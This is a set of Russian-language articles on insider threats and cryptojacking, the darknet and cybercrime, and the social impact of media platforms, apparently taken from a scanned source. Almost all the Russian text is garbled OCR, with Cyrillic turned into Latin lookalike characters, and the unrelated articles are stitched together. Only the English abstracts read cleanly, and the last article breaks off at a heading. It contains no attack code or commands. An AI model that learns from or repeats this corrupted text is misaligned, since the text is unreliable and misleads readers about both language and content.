Buyrpennue araku u yreuku gaHHbIX: [IpenatenbctBo n3nytpu . Hanbonee
OINaCHBIE YIPO3bl YAacTO CKPBIBAIOTCS BHYTPH OpraHusanuu. BHyTpeHHue
aTaku — 3TO MOMEHTBI, KOI/la COTPYAHUKHU WM MapTHEPHI 3J0yNOTPEOISIOT
CBOUM JIOCTYIIOM K KOPIOpPAaTHUBHBIM CHCTEMaM, SBISSACh, IO CYTH,
NOTEHIMAIBHBIMI TIPEIaTENsAMHU, CIIOCOOHBIMM HAHECTH HEIOIPaBUMBbII
ymiep0. HyxkHa cTporast cuctema KOHTpOJIs A0CTyIa, 00y4eHHe COTPYIHUKOB
NpUHLUNAM O€30MacHOCTH, MOHMTOPUHI aKTHBHOCTH M Y€TKas MOJIMTHKA
0€30MacHOCTH.

Kubep6ezonacnocts: O6opona ot “Kpunro-mapa3utoB” u Be30B byayiemy

B coBpemeHHOM TM(POBOM MHpE, TIIe YIPO3bl MHOXKATCS W CTAHOBATCS BCE Oolee
M30IIPCHHBIMH, KHOEpOE30MacHOCTh — 3TO HE MPOCTO MOJHAs TeMa, a JKH3HEHHO BayKHAs
HE0O0X0UMOCTh. CeroiHsi MbI HCCIIEIyeM €Ille OAHY KOBAPHYIO YyIpO3y - KPUITO-KEKKHHT, U
3arJsiHeM B Oyyniiee, Te KuoepOe30macHOCTh OyIET UrpaTh KIFOUYEBYIO POJIb B HAIIICH YKHU3HH.

1.

Buytpennsist o6opoHna: 3anmra oT “ripeaarenscTBa’’

JInst Toro 4TOOBI TMPOTHBOCTOSITH OIMACHOCTSM W3HYTPH, KOMITAHUM JIOJDKHBI
CO3/1aBaTh IPOYHYIO OOOPOHY:

® CTpOFI/Ie MCPBI KOHTPOJII AOCTYIIA: KaK KPCIKUC CTCHBI, OHHW HC
MO3BOJIAT 3JIOYMBIINIJICHHUKAM IIPOHUKHYTH Ty/Jld, KyJa UM HC CJIICAYCT.
® Her[pepHBHoe O6y‘~IeHI/Ie COTPYAHUKOB: KaK IMOCTOSAHHBIC TPECHUPOBKH,

IIOBHIIIAIOIIIHE 6I[I/IT€J'II)HOCTI) M TOTOBHOCTb K JIIOOBIM aTaKaM.
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. Yerkoe cOOIIOAEHUE IIOJIMTUK OE30IMaCHOCTH: KaK COOJIFOIEHHE CBOA
IPaBUJI, TapaHTUPYIOLIETO 3aIIUTy OT HEMPAaBOMEPHBIX AeMcTBUI. JTO,
KaK CO3/1aHH€ HEMPUCTYIHONW KPENoCTH, TapaHTHUPYeT 3alluTy OT
BHYTPEHHUX YIpO3.
2.  Kpunro-mxexkunr: Hespumsbie [1apa3utst
IIpencraBpTe, 4TO Ha BalleM YCTPOMCTBE IOCEIWICS HE3BAHBIM I'OCTb — 3TO KPHUIITO-
JOKEKKUHT. 3JIOyMBIIUIEHHUKH, KaK XUTpble Mapa3uThl, HCIOJIB3YIOT PECYpChl Balllero
KOMITBIOTEpA Il MalfHWHTa KPUMTOBAIIOTHI, COBEPIIEHHO Bac 00 3TOM HE crpocuB. UTOOBI
3aIIUTATHCSA OT ITUX “IUQPOBBIX KIEHICH’, cIeanuTe 3a 0€30MacHOCThIO CBOETO YCTPOMCTBA H
n30eraiTe 3arpy3Ku COMHUTENBHBIX (haiiiioB.
bynymee kubepoe3zonacnoctu: 3arsabiBas B [ludposyro besnyny
bynyimee kuOepOE30MacHOCTH — 3TO CIIOKHAsE W MHOTOTpaHHask 00J1acTh, TNIE MBI
MOCTOSIHHO OyJIeM CTaJKUBaTbCsi C HOBBIMU BbI30BaMH. [ 711 B Oyayiiee, Mbl BHIUM, Kak
yrpo3bl OyIyT HE MPOCTO MHOXKHUTHCS, HO M CTAaHOBUTHCS BCE Oosiee YMHBIMH M KOBAapHBIMHU.
Kubeparaku, kak SBOJIOLMOHUPYIOIIME XHUIIHUKU, CTAHOBATCA OoJiee OpPraHW30BAHHBIMU,
BBICOKOTEXHOJIOTMUHBIMU U LIEJIEHANPaBIEHHBIMU. B 3TOM MOCTOSIHHO MEHSIOLIEMCS MUPE Mbl
JIOJDKHBI TIOBBIIIATH YPOBEHb OCBEIOMIICHHOCTH M TOTOBHOCTH K 3alllUTe, KaK MOCTOSHHBIC
YUEHHUS.

1. Unarepner Bemieit: YMHoxxeHue Ys3sumocrteid. Marepner Bemieit (IoT) — ato
CJIOBHO HOBBIHM IM(POBOI KOHTUHEHT, KOTOPBIN MPUHECET C CO00I OrpOMHBIE
BO3MOXHOCTHU, HO U HOBbIE YSI3BUMOCTH. C MOSIBIEHHEM YMHBIX YCTPOICTB, OT
OBITOBOI TEXHUKH JI0 LETBIX TOPOJOB, KOJIMUECTBO MOTCHIIMAIBHBIX LENeH s
37IOYMBIIIIIEHHUKOB OyIeT pacTh B TEOMETPUYECKOM Mporpeccuu. ITO
JUKTYET HEOOXOAMMOCTb BHEJPEHHsS HOBBIX CTaHJApTOB M IPOTOKOJIOB
0€30MacHOCTH, KaK HOBBIX 3aIIUTHBIX CTEH.

2.  WU: IBynukuii Meu Kubep6e3omacHoctu. VckyccrBennsiii naTemuiekT (M) —
ATO MOIIHBIA JBYAMKHIA Med B KuOeprpocTtpancTBe. C OMHOM CTOPOHBI, OH
MOYKET CTaTh HAILMM COIO3HUKOM, aHAIU3HUPYSl OTPOMHBIE O0OBEMBI TAaHHBIX U
BBIABIISISL TOO3PUTENBHBIE JEHCTBUS B PEXKHME PEATbHOIO BPEMEHM, Kak
OINBITHBIA pa3BeNUMK, pacrno3Haromuid yrpo3pl. C  Apyroil  CTOPOHBHI,
3TIOYMBIIIIEHHUKH C TOW K€ JIOBKOCTHIO Mcmoib3ytoT MU mis pa3zpaboTku
CIIOKHBIX W TPAKTUYECKH HEBUIMMBIX aTaK, KaK OIBITHBIM cTpaTer. Jta
MIOCTOSIHHAsl TOHKA BOOPYXEHHM TpeOyeT OoT Hac OBICTPOTHI aJalTalvd U
pa3pabOTKH HOBBIX MHHOBAIIMOHHBIX PEIICHUI.

3. Yenoseueckuii ®akrop: Ysa3sumas Cassyromias Llens. Jlaxe camble MOIIHbIE
TEXHOJIOTMM HE 3aMeHAT dYenmoBeueckudd  (axtop. Yacto HUMEHHO
HEOCBEJOMJICHHOCTh M OLIMOKH IOJIb30BATENIC CTAHOBSTCS YA3BHUMOCTSIMHU,
4yepe3 KOTOpbIE 3JI0YMBIIUIEHHUKH MPOHUKAIOT B CHCTEMBL. AKTHUBHOE
oOydeHue Tmojb30BaTeNeil OCHOBaM KuOeprurueHsl U (OpMHUPOBAHUE
KyJIBTYpbl 0€30MacCHOCTH B OpraHM3alusAX — 3TO (PYHJAAMEHT, Ha KOTOPOM
CTpoHTCsl HajiexkHass o0opoHa. Kaxplii COTpyIHHMK JOHKEH HOHMMATh CBOIO
POJIb B 3aIIMTe HHPOPMALIMK, KaK BaKHAS JI€Tallb B CII0)KHOM MEXaHHU3ME.

4.  MexnynaponHoe CorpyanuuectBo: ['nmoGanmbnas O6Gopona. B smoxy
robanm3an ~ KuOepatakd HE  HMMEIOT  TpaHWIl.  MeXITyHapoaHoe
COTPYAHUYECTBO B oOMeHe MH(OpMalueil 0 HOBBIX YIpo3aXx U COBMECTHOM
pa3paboTKe peIIeHUul — 5TO, CJIOBHO IIOCTPOSHHUE €IWHOW TJI00ATBbHON
oboponuTenbHON IuHUM. Enunble ycunus B OopbOe ¢ KHOepIpecTymHOCThIO
MIOMOTYT HaM CO3JIaTh 0oJiee HAASKHYIO M 3allUIICHHYIO U(PPOBYIO cpeny,
KaK COBMECTHOE CTPOUTENILCTBO BEIMUECTBEHHOM CTEHBI.

5. bynymee: [TocrossuHoe CoBepiieHcTBOBaHME. bymyiiee kubepOe3onacHOCTH —
3TO HE MPOCTO MPOTHO3, @ HENPEPBIBHBIM IPOLECC COBEPIICHCTBOBAHUSL.
[TocTosiHHast ajanTanysi K HOBBIM yrpo3aM, MCIOJIb30BaHUE MHHOBAIIMOHHBIX
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TEXHOJIOTHH,  OOy4eHHMe  TIOJB30BaTeNiel,  COTPYJHHYECTBO  MEXKIY
rOCyJJapCTBEHHBIMH U YAaCTHBIMU CEKTOPAMHU — 3TO TE€ CTOJIIBI, HA KOTOPBIX
OyzeT aepKatbcs Halra 000poHa B IM(POBOM MHpE.
Kubep6e3onacHocts: 3aBepiuenue [lyru u [lpussiB k baurensHoctn
3aKiroueHue
B sTOoM nccnenoBaHuy MbI ¢ BAMHU TIPOIIUTH CIIOXKHBIN, HO BaYKHBIN MyTh IO JTa0UpUHTAM
KUOEpHpPEeCTYMHOCTH. Mbl H3Yy4WJIM apceHall CaMbIX paclpOCTPAaHEHHBIX YIPO3, CIIOBHO
PacKpBUIH TaifHBI UGPOBOTO 3714, ¥, YTO HE MEHEE BaXKHO, Y3HAIM, KaK OT HUX 3aIUTUTHCS. MBI
COBEPLIMIN KPAaTKUH, HO CO/IepKaTeIbHbIM SKCKYpC B MUp KHOEepOE30MacHOCTH, YTOOBI KaXIbIil
MOT OCO3HATh, HACKOJIBKO BaskHA 3Ta 00ph0a 3a COXPaHHOCTh HAIIMX JAHHBIX, (PUHAHCOB U JaXKe
3MI0POBbS, KaK 3a XPYIKOE COKPOBHILE, KOTOpOE HY)KHO Oepeub. MbI C BaMH HE MPOCTO
O3HAKOMMJIUCh C BUJAMHU KHOEPHPECTYIUJICHHM, MBI 3aIJIIHYJIM B TJla3a TEM, KTO IIBITACTCA
MOXUTUTH Harie IudpoBoe Omaromonyyre. Mpl HE MPOCTO H3YYMIIM METOABI 3aIIUThI, MbI
BOOPYKWJIUCH IIIUTOM U MEUOM, TOTOBBIE MPOTUBOCTOSATH yrpo3am. Ternepp Mbl IOHUMAEM, YTO
KOepOe30MacHOCTh — 3TO HE MPOCTO MOJHOE CIIOBOCOYETAHHE, a HEOTheMJIeMasi YacTh Halei
KU3HU B IU(PPOBOM BEKe, HaIlla CTPAXOBKA OT BO3MOKHBIX TIOTEPb.
ITpu3biB k baurensHOCTH
[Tyt k mdpoBo GE30MACHOCTH — 3TO HE OAHOAHEBHOE IMYTEIIECTBUE, a MOCTOSHHBIN
mporecc, TPeOyIIuil BHUMAHUS M OTBETCTBEHHOCTU. [loMHHTE, YTO OAWUTENHLHOCTH, KaK
OCTPBIM TJIa3 YaCOBOTO, M 3HAHWE OCHOB KHOEPOE30MacHOCTH SIBJISIFOTCS HAIIMMHU TJIABHBIMH
COIO3HHKaMU B 9TOM Hempekparnarorierics 6oproe. He 3a0biBaiite 06 3TOM 1 OyAbTE OCTOPOKHBI
Ha [POCTOpax HUPPOBON BCETCHHOM.
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AHHOTALUA

B ycnoBusix COBpeMEHHOro MHpa, HACBIIIEHHOTO CeTIMH U HH(OPMALMOHHBIMU
TEXHOJIOTHSIMUA, MHTEPHET CTajl KJIIOUEBBIM acleKTOM J>KU3HM 4eloBeka. B Takux ycioBusix
BO3HUKJIa HOBas IIart¢opMa Uil MPaBOHAPYIIEHUN - TapKHET. DTOT CKPBIThIA CErMEHT CETH
o0ecreuynBaeT MOIb30BaTENsIM aHOHMMHOCTh U 3alllMIEHHOCTh, YTO JAETAeT €ro HeaJbHbIM
MeCTOM sl JIeMcTBUM KuOeprnpecTynHUKoB. [loaTomy HccnenoBaHMe MeXaHM3MOB palOOThI
«TEHEBON CeTH» M BBISBIEHHE METOAOB NPOTHUBOJIEHCTBUS KHOEPHPECTYIHOCTU CTAHOBSATCS
KpaifHe Ba)KHBIMH U aKTyaJIbHBIMU 3a/1a4aMU B cepe HHPOPMALIMOHHON 0€30MacHOCTH.

KiroueBble  coBa:  japkHeT;  KUOEpHIpEeCTyNHOCTh;  3alluTa  MH(pOpMaIuw,
KnbepOe30nacHOCTb, UH(OPMAIIMOHHBIE PECYPCHI, YTPO3bI.
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Abstract

In the modern world, saturated with networks and information technologies, the Internet
has become a key aspect of human life. In such conditions, a new platform for crime has
emerged - the darknet. This hidden segment of the network provides users with anonymity and
security, making it an ideal place for cybercriminals to operate.

Keywords: darknet, cybercrime, information protection, cybersecurity, information
resources, threats.

JlapKkHEeT — 3TO CerMEeHT UHTEpPHETa, KOTOPBIA MOKHO MCCIIEI0BATh TOJIBKO C MMOMOIIIBIO
CTIEIMAIN3UPOBAHHBIX HHCTPYMEHTOB WIIM MPOrpaMMHOT0 obecrieueHusi. B aTom npocTpaHcTBe
MOJIb30BATENIM MOTYT OOMEHHMBATHCS JaHHBIMM AHOHHMHO, CKpBIBas CBOM JIEHCTBHUS OT
NOCTOPOHHUX. OJHAKO HCHOJIb30BAaHUE «CKPBITOM CETH» CONPSIKEHO C pPa3HbIMU BUAAMU
MPECTYMHON JAEATENbHOCTH: OT TOPIrOBIM HApPKOTUKAMH U OpYXHEM JI0 TUIAaHUPOBAaHUS
XaKePCKUX aTaK M paclpoCTpaHEeHus JeTcKkoil mopHorpaduu. [Tostomy 3HaHMe ocoOeHHOCTEH
(hYHKITMOHUPOBAHUS JApKHETA W €ro MPUHIMIIOB KpaifHe BaXKHO ISl 2PPEKTUBHON OOPHOBI C
KHOEpIpeCTYIIEHUSMHU.

Hapkret (wam DarkNet), Takske usBectHblil kKak «CKpbITast ceTby», « TEMHBIH HHTEPHET
wm «TeHeBas ceTby», MpeCTaBIseT cO00H 3aIU(PPOBAHHYIO U HEOCTYITHYIO JUIsl CTaHAAPTHBIX
TIOMCKOBBIX CHCTEM 4YacTh MHTepHeTa. OH BKIIOYAET B cebs HAOOp aHOHMMHBIX COEAMHEHHH,
KOTOpBIE TPEOCTABISIIOT — TIOJB30BATEIsIM  BO3MOXKHOCTh OOMEHHMBATBCS  JaHHBIMH U
OCYILECTBIISTh pa3IMyHbIE JEHCTBUS, OCTaBasCh He3aMeueHHBIMU. CTPYKTypa 3TOTO «TEHEBOTO
UHTEpHETa» JI0OBOJIBHO MHOTOYpPOBHEBas M cllokHas. OCHOBY COCTaBIISIET METOJ «JIYKOBOTO
MapuIpyTU3UPOBAHUA», KOTOPBI obecnieunBaeT mudpoBaHue U nepenady uHbGopMmalmu yepes
MHOYKECTBO Y3JIOB CETH. JTO IMO3BOJISIET IOJBb30BATENSIM IOJIEPKUBATh BBICOKUN YpPOBEHBb
AHOHMMHOCTH M 3aTpy[IHSET OTCJIEKMBaHME HMX JAEHCTBUN. B mapkHeTre OCHOBHYIO Maccy
COCTaBIISIIOT CHEUUAIM3UPOBAHHBIE PECYPCHI, KOTOPHIE HAa3bIBAIOT "TOPrOBBIMHU IIaTGopMamu'.
31ech MOXKHO BCTPETUTH IIMPOKUHN CHEKTP TOBAPOB U YCIYT, TAKUX KaK HApKOTHKH, OPYXKHE,
KOMITPOMETHPYIOIINE JaHHbIE, (DAJIBIINBBIC YIOCTOBEPEHHUS JTMIHOCTH U TIPOYHE 3alpelieHHbIC
Bem. Takke cymecTBYIOT (OpYyMBI W COOOIIECTBA, TNI€ YYACTHUKH [ENATCS OMBITOM U
MHpOpMaLue 0 KHOepIPECTYTHOM AeSITEIbHOCTH.

KnroueBbiMH OCOOEHHOCTSMHU 3TOM CETH SIBIAIOTCS AHOHMMHOCTH M 0E30IMacHOCTb.
[TockonbKy BCE COCTUHEHMs 3alUIICHBI MH()POBAHUEM H TPOXOIAT Yepe3 HECKOIBKO Y3IIOB,
YCTaHOBUTH JINYHOCTH T0JIb30BATENS CTAHOBUTCS MPAKTUUECKH HEBO3MOXHO. DTO IPUBJIEKAET
3JI0YMBIIIIJICHHUKOB, KOTOpPBIE MOTYT CBOOOJHO IPOBOJUTH CBOM HE3aKOHHbBIE JACUCTBHUS U
n3beratb Haka3aHus. Tem He MeHee, MJApKHET aKTHBHO HCIIOJBb3YeTCS HE TOJBKO
MIPECTYIHUKAMHU, HO U KYPHAIUCTAMHU, PABO3AIIUTHUKAMHU U aKTUBUCTAMH, CTPEMSIIUMUCS K
3aIuTe CBOOOABI CI0Ba U KOH(UAESHIMAIBHOCTU. B yCIOBHAX HKECTKOM LIEH3Ypbl M KOHTPOJIS
JTApKHET TPEAOCTABIICT BO3MOXKHOCTh TIepenaBaTh wHH(popMammio 0e3 omaceHuid ObITh
00HAPYXEHHBIMU WU TMPOCIICKUBAEMBIMU.

CymiectByer  psig = METOIOB I NPOTHUBOJNCHCTBUS  "CKpPBHITOM  ceTH" W
kubeprpectynHoctd. OAMH U3 MOJXOJ0B 3aKIIIOYACTCS B COBEPLICHCTBOBAHUU TEXHOJIOTHH U
CHOCOO0B MAEHTH(UKALUU T0Jb30BaTeNiel B MHTepHeTe. He MeHee BaXKHO M MEXAyHApOJHOE
COTPYIHUYECTBO MPABOOXPAHUTENHHBIX OPraHOB, a TaKKe OOMEH ITaHHBIMH O TMPECTYIHBIX
CXeMax W METO/ax MX OCYyIIEeCTBIeHUs. TakuM oOpa3om, "TéMHas ceTh'" U KUOEepPIpecTyIHOCTh
NPE/ICTABIIAIOT CEPhE3HYIO YIrpo3y Ul 0OIIecTBa, HAHOCS KaK (PUHAHCOBBIN, TAK U MOPAJIbHBIN
yiiep6. DddexTuBHas 60ppda C ITUMHU SBJICHUSIMHU TPEOYET KOMILICKCHOTO MOAXO0Aa M y4acTHs
BCEX 3aMHTEPECOBAHHBIX CTOPOH — MPAaBOOXPAHUTENBHBIX OPraHoOB, 0Opa30BaTENbHBIX
YUpEKACHU, OOIECTBEHHOCTH U CEKTOpa MHPOPMALMOHHBIX TEXHOIOTUN. TOIBKO 0ObeaNHSS
YCHIIUSI, MOYKHO JIOOUTHCSI yCIeXa B OTPaHUYCHUH M MPEJOTBPAILCHUN KUOEPIPECTYITHOCTH U
3alIUTe UHTEPHET-IPOCTPAHCTBA OT YIPO3 U 310YNOTPEOICHUIA.

Cpenn MHOXECTBa aJbTEPHATUB, «TEHEBBIE CETH» YacTO CIyXaT Cpeaol s
OCYILECTBJICHHUS MPECTYIUICHNH, TaK KaK MpeaaaraoT BEICOKUM YpOBEHb KOH(PHUICHIINAIbHOCTH
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Y aHOHMMHOCTH CBOHMM I10JIb30BaTeIsIM. KpUIITOBATIOTHI COCTABISIOT OAMH U3 IEHTPAIbHBIX
MEXaHU3MOB €ro paboThl. B oTimume OT TpaJWIMOHHBIX (DUHAHCOBBIX CHUCTEM, TAKUX Kak
OaHKOBCKHE TIEPEeBOABI M JJICKTPOHHBIC TIUIATEKH, KOTOpPHIE TPEOYIOT HIACHTU(DHUKAITAN
MIOJIb30BATENICH U OCTABISIIOT LU(POBBIE ClIE/bl, KPUITOBATIOTHI, BKItoYass buTkoiH u npyrue
aHaJIOTH, CIy’KaT aHOHUMHBIM MHCTPYMEHTOM JJisi oOMeHa. OHU 00ecreunBaroT BO3MOKHOCTh
NPOBOIUTh AHOHMMHBIE M HEOOpaTUMble TpaH3aKIMH, 4YTO JIeNaeT HUX OCOOEHHO
MIPUBJIEKATEIbHBIMHU JIJIs1 HE3aKOHHOM JAEATENbHOCTH B «TEHEBOM UHTEPHETEY.

AHOHMMHOCTH — 3TO €IlI€ OJWH 3HAYUMBIA 3JeMEHT (yHKuHoHUpoBaHMA. Jlis
JOCTWKEHHSI aHOHUMHOCTH B JJApKHETE YacTO MPUMEHSIOTCS CTIeUalIbHble Opay3ephl, TaKUe Kak
Tor. Jlannast TexHosiorus ckpeiBaet |P-anpec monp3oBaresns, HapaBisist €ro Tpaguk yepes psj
CEPBEPOB MO BCEMY MUPY. ITO 3aTPYAHAET OTCIIC)KMBAHUE TIOJIb30BaTeNIel U uX aercTBuil. Tem
HEe MeHee, HeCMOTPS Ha YPOBEHb CKPBITHOCTH, TAKHE WHCTPYMEHTBI MOTYT OBITh HCIIOJIE30BaHBI
B HE3aKOHHBIX LEJISX, YTO CO3JIAET PUCKHU JIJIsl JOOPOCOBECTHBIX MOJIH30BATEIICH.

Tpetuii Mexanu3M, oOecrieunBarOIMi (PYHKIMOHUPOBAHUE, 3aKJIFOYAETCS B YIIPABICHUN
puckaMu. B CBsI3u ¢ HE3aKOHHBIM XapaKTEpOM JapKHeTa U KUOepIpecTyNHOW AesATENbHOCTH,
TMIOJTB30BATEIN TIO/IBEPTalOTCS pa3HOOOPa3HBIM YIpo3aM, TAaKHMM KaK MOIICHHUYECTBO, BUPYCHI U
kuOepataku. JlIsl MMHUMM3aLMM 3THX YIpo3 CJIEAyeT HCIOiIb30BaTh COOTBETCTBYIOLIHE
cpenctBa 3amuThl. K mpumepy, NMpuUMeHEHHE aHTUBHUPYCHOTO cO(Ta, BUPTYaIbHBIX YaCTHBIX
cereii (VPN) MoxxeT moMoub COXpaHUTh KOH(DUAEHIIMAIBHOCTD JIMUHBIX JaHHBIX.

XOTsl JapKHET TPEJOCTaBIIeT aHOHUMHBIC CPEJCTBA UL BEICHHS IPOTHBOIPABHOM
JIeATeNIbHOCTH, B HEM TakXkKe JEHCTBYIOT OpraHM3allid M WHCTPYMEHTBI, HaIllpaBICHHbIE Ha
00pr0y C KHOEpIpecTymHOCThI0. HeKOoTophle TOCyIapCTBEHHBIE CTPYKTYPHI, a TaKxke
CIeLMaIN3UPOBAHHbIE TUIOIIAIKU U PECYPCHl aKTUBHO YYacTBYIOT B 3TOM Hpotecce. bonee Toro,
CYIIECTBYIOT (UPMBI W TPOEKTHI, pa3pabaThIBAIOIIME pEUICHHUS [UIsi OOHApYKEHHS |
NpoUITaKTUKY KHOEpIpEeCcTyIUIeHM HMMEHHO B 3TOM TEHEBOM CeTH. OTH OpraHM3aliu
paboTatlOT B COTPYTHHYECTBE C IPABOOXPAHHUTEIHFHBIMH OpraHaMH ISl TIPOTHBOJICHCTBUS
MHTEPHET-YTPo3aM U MoJyIepKaHus 0€30MaCHOCTH B OHJIAWH-TIPOCTPAHCTBE.

3HaHME KITIOYEBBIX MEXAHU3MOB JapKHETa, TAKMX KaK HCIOJIb30BAHME KPUITOBAIIOT,
AHOHMMHOCTh M YIPABICHHE PUCKaMH, Ba)KHO JUIS aHAIM3a KUOEPIPECTYMHOCTH U CO3JaHMs
3QPEKTUBHBIX HWHCTPYMEHTOB TIPOTHBOICHCTBHUS €H. apKHETIPEICTABISIET 3HAYUTEIHHBIC
BBI30BBI JJIsI TIPABOOXPAHUTENEH U BCErO OOIECTBA, MOITOMY HEYKIOHHOE Pa3BUTHE METOJIOB
O0pBOBI C KUOEPIPECTYIMHOCTHIO OCTAETCSl BAXKHOW 3amadeild B Hamiem 1udpoBoM mupe. Ponb
MPaBOOXPAaHUTEIBHBIX OpPraHoB B OJTOW oOjacTu KpaiiHe 3HaunMa. OHHU  3aHMMAKOTCS
BBISBICHUEM M PACCIIEOBaHUEM NPECTYIUICHHUH, CBSI3aHHBIX C HCMOJIB30BaHHMEM TEMHBIX
yronkoB MurepHera. [IpaBooXpaHHMTENbHBIE CTPYKTYpHl COTPYAHHYAIOT C  pa3HbIMU
OpraHW3alUsAMH, BKJIFOYass KHOEpOE30MmacHOCTb, I COBMECTHON pa3pabOTKH METO/I0B OOpHOBI
C KHOEPIIPECTYITHOCTBIO.

OnHako, CIIOKHOCTh MPOTUBOAEHUCTBHS KUOEPIPECTYITHOCTH B JapKHETE 00YyCIOBJIECHA
€ro aHOHMMHOCTBIO W 3allyTaHHOM CTPyKTypoi. CrienuaibHble TEXHOJOTHH, TaKhe Kak
«JTYKOBBIE CETHU», 00ECIEUNBAIOT CKPBITHOCTh MOJIb30BAaTEICH U CEPBEPOB, UTO 3aTPYAHSIET UX
OOHapy>XeHHE U HICHTU(PHKAITUIO 37I0yMBIIUICHHUKOB.

OpHUM W3 METOJIOB MPOTHBOACHUCTBHSA KHOEPHPECTYIMHOCTU SIBISAIOTCS CHELUATbHBIC
MpOrpaMMBbI JUII MOHHUTOPUHIa M BBIBICHHS YTPO3. DTH CHUCTEMBI IIOMOTAIOT OTCIIC)KUBAThH
MOJIO3PUTEIbHYIO aKTUBHOCTh W HAXOIUTh MOTEHIMAJIBHBIX MPECTYIMHUKOB, YTO CIIOCOOCTBYET
OBICTPOMY pPEarupoOBaHUIO U MPEIOTBPAILICHUIO TATBHEUIIINX 3J10/1CSTHUN.

Kpome Toro, BakHOCTb MEXIYHApOIHOTO COTPYIAHHMYECTBA B OOphOe C MpPecTymHOH
JeATeNTbHOCTRI0 B HMHTEPHETE HENb3s HENOOlEeHMBaTh. KHOEPIpecTymHUKH NEHCTBYIOT Ha
ro0alkHOM ypoBHE, M JUid 3((EKTUBHOrO paccieloBaHUsl MPECTYIUIEHU HEeoOXoAMMO
aKTUBHOE COTPYAHHMYECTBO MEXKIYy pPazIMYHBIMHA CTpaHAMH, BKIOYass OOMEH MAaHHBIMH W
COBMECTHBIE OTIEPAITUH.

Takum 00pa3oM, JapKHET MPEICTABISET COOON 3HAYUTENBHYIO YTPO3y, TPEOYIOIIYIO
CIIQ)KEHHOTO TOAXO0Ja CO CTOPOHBI TMPABOOXPAHUTEIBHBIX OPraHOB, CIEIUAIUCTOB IO
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KrOepOe30MacHOCTH W OpraHM3allfii, 3aHUMAIONIMXCS JaHHOW mpobnemoi. Mcmomb3oBaHue
CIICHHUATIM3UPOBAHHBIX MHCTPYMCHTOB U MCTOJ0B, TAKUX KaK CUCTCMblI MOHUTOPHUHIA, I'PYIIIbI
KuOepcinenoBaTeieii W COTPYOHHYECTBO Ha MEKAYHApOIHOM YpPOBHE, TIIOMOTaeT B
uAeHTH(UKALINK, apecTe W HaKa3aHWUM KHOEPIPECTYMHUKOB. JTO, B CBOK Ouepeib,
o0ecrieurBaeT 3allUTy B CETH U OXPAHSIET MHTEPECHI TIOTB30BATEIICH.
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AHHOTAIIUSA

ComnpanbHble MeIua CTald HEOThEMJIEMOW YacCThbIO COBPEMEHHOW >KHM3HH, OKa3bIBas
3HAUUTEJIFHOE BIIMSIHUAE HA 00mIecTBO. JlaHHAsI CTaThsl PACCMATPUBACT KaK MPEUMYIIECTBA, TaK U
HEIOCTATKH HCIIOJIb30BaHMS COLHMAIBHBIX IUIATGOpPM, aHATU3UPYsSd WX BO3ACHCTBHE Ha
pa3IMYHBIC ACTEKThl YEIOBEYECKOrO CYIIECTBOBAHMS, BKIFOYAS KOMMYHHKAIHIO, TOJIUTHKY,
HKOHOMHKY M TICHXUYECKOE 3/I0POBbE

KaioueBble cjioBa: coIManbHble MeEIWa, OOIIECTBO, KOMMYHHKAIHS, TOJUTHKA,
9KOHOMHMKA, IICHXHIECKOE 3I0POBbE, I(POBOE OOIIIECTRO.

Abstract

Social media has become an integral part of modern life, having a significant impact on
society. This article examines both the advantages and disadvantages of using social platforms,
analyzing their impact on various aspects of human existence, including communication, politics,
economics and mental health

Keywords: social media, society, communication, politics, economics, mental health,
digital society.

B mocnenHee Bpems pa3BUTHE WHTCPHETA M MOOWJIBHBIX TEXHOJIOTHH TPHBEIO K
NOSIBJICHHIO W OBICTPOMY — PacClpOCTPAaHEHHWIO COIMAIBHBIX MEIHa, KOTOPBIE  CTAH
HEOTHEMJIEMOM YacCThIO TIOBCETHEBHOM KU3HM MWJITHAp/a Jitoiel 1o Bcemy mupy. [Imardopmel,
takue kak Facebook, Twitter, Instagram (nestenbHocTh Opranusaimu Meta Platforms Inc., ee
npoaykToB Instagram u Facebook 3anpernena Ha Teppuropun Poccutickoii deneparmn), TiKTok
U Ipyrue, MPeA0CTaB/ISIOT MOIb30BaTENSIM BO3MOKHOCTE 0OMEHHBATHCS HH()OPMAIIUCH, HAEIMU
U OIBITOM, CO3/1aBasi MIOOATBHYIO CeTh KOMMYyHHKanuu. OIHAKO, HECMOTPS Ha OUYCBUIHBIC
NPEUMYILECTBA, BO3JICHCTBUE COIMAIBHBIX MEIHa Ha OOIIECTBO TAaKKE CBI3aHO C PAIOM
HEJIOCTATKOB, KOTOPBIC MOTYT HETATUBHO CKAa3aThCs HA COIMAIBHOW CTPYKTYpE, MICHXHYECKOM
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3JI0POBbE U MEXJIMYHOCTHBIX OTHOLIEHUsAX. HacTosinas craThst MOCBSIIEHA aHAIU3Y BIUSHUS
COIIMANIBHBIX MeIHa Ha OOIIECTBO, pacCMATpPUBAasl KaK MOJIOKUTENbHBIC, TaK U OTPUIIATEIILHBIC
aCIIEKThI ATOT'O SIBJICHUSI.

PasButie conmanbHbix ceteit Hadanoch B CILIA B xonie XX Beka. Ha mocrtcoBeTckom
MPOCTPAHCTBE MX PACIPOCTPAHEHUE 3HAYMUTEIBHO Mo3xke, ¢ 2006 roma, mpu 3TOM IMEPBBHIMU
kpynHbiMU  TaTGopmamu  ctamu  «OnHoknaccHukn» U «BKonrtaktey. «OXHOKIACCHUKID)
NpEICTaBIsIN co00# aHajor 3amaaHoro npoekra Classmates, B To Bpems kak «BKonrtakre»
yacTo cpaBHUBAKOT ¢ Facebook (mesirenbHoCTh Opranmsaiun Meta Platforms Inc., ee mpomykros
Instagram u Facebook 3anpermena na Tepputopun Poccuiickoit deneparun), oTMeuast CX0ACTBO
(YHKIIMOHATBHOCTH U B Tu3aiine[1].

AKTyaJbHOCTb HCCIEOBaHUS OOYCIOBI€HA BCECTOPOHHUM BIMSHHEM COIMAIbHBIX
CeTell Ha COBPEMEHHYI KOMMYHHMKauuioo. B Poccum, coriacHo uMErmmMcs JaHHbBIM,
eXeMecsAYHasl ayJuTOpHs MHTEpPHETa cocTaBisieT 65,9 MIIH yenoBek, mpu 3ToM cBbime 90%
NOJIB3YIOTCSL  conmaibHbiMu ceTsiMd. [lo onenkam Brand Analytics, execyrounblii 00bEM
cooOmienuii B comuanbHbix ceTsix gocturaer 30 muH (350 moctoB B cekyHAy), a 35 MIH
MOJIL30BATENICH OCTABISIIOT KaK MHUHUMYM OIHO IyOJHMYHOE COOOIICHHE EKEMECSYHO. ITH
MaciTadbl TOJUYEPKUBAIOT HEOOXOMMOCTh BCECTOPOHHETO M3YUEHHS COLMANIBHBIX CETeH U UX
BO3JIeHCTBHS Ha 001IecTBO[2].

[TpeumyiiecTBa COMANTBHBIX MEIHA

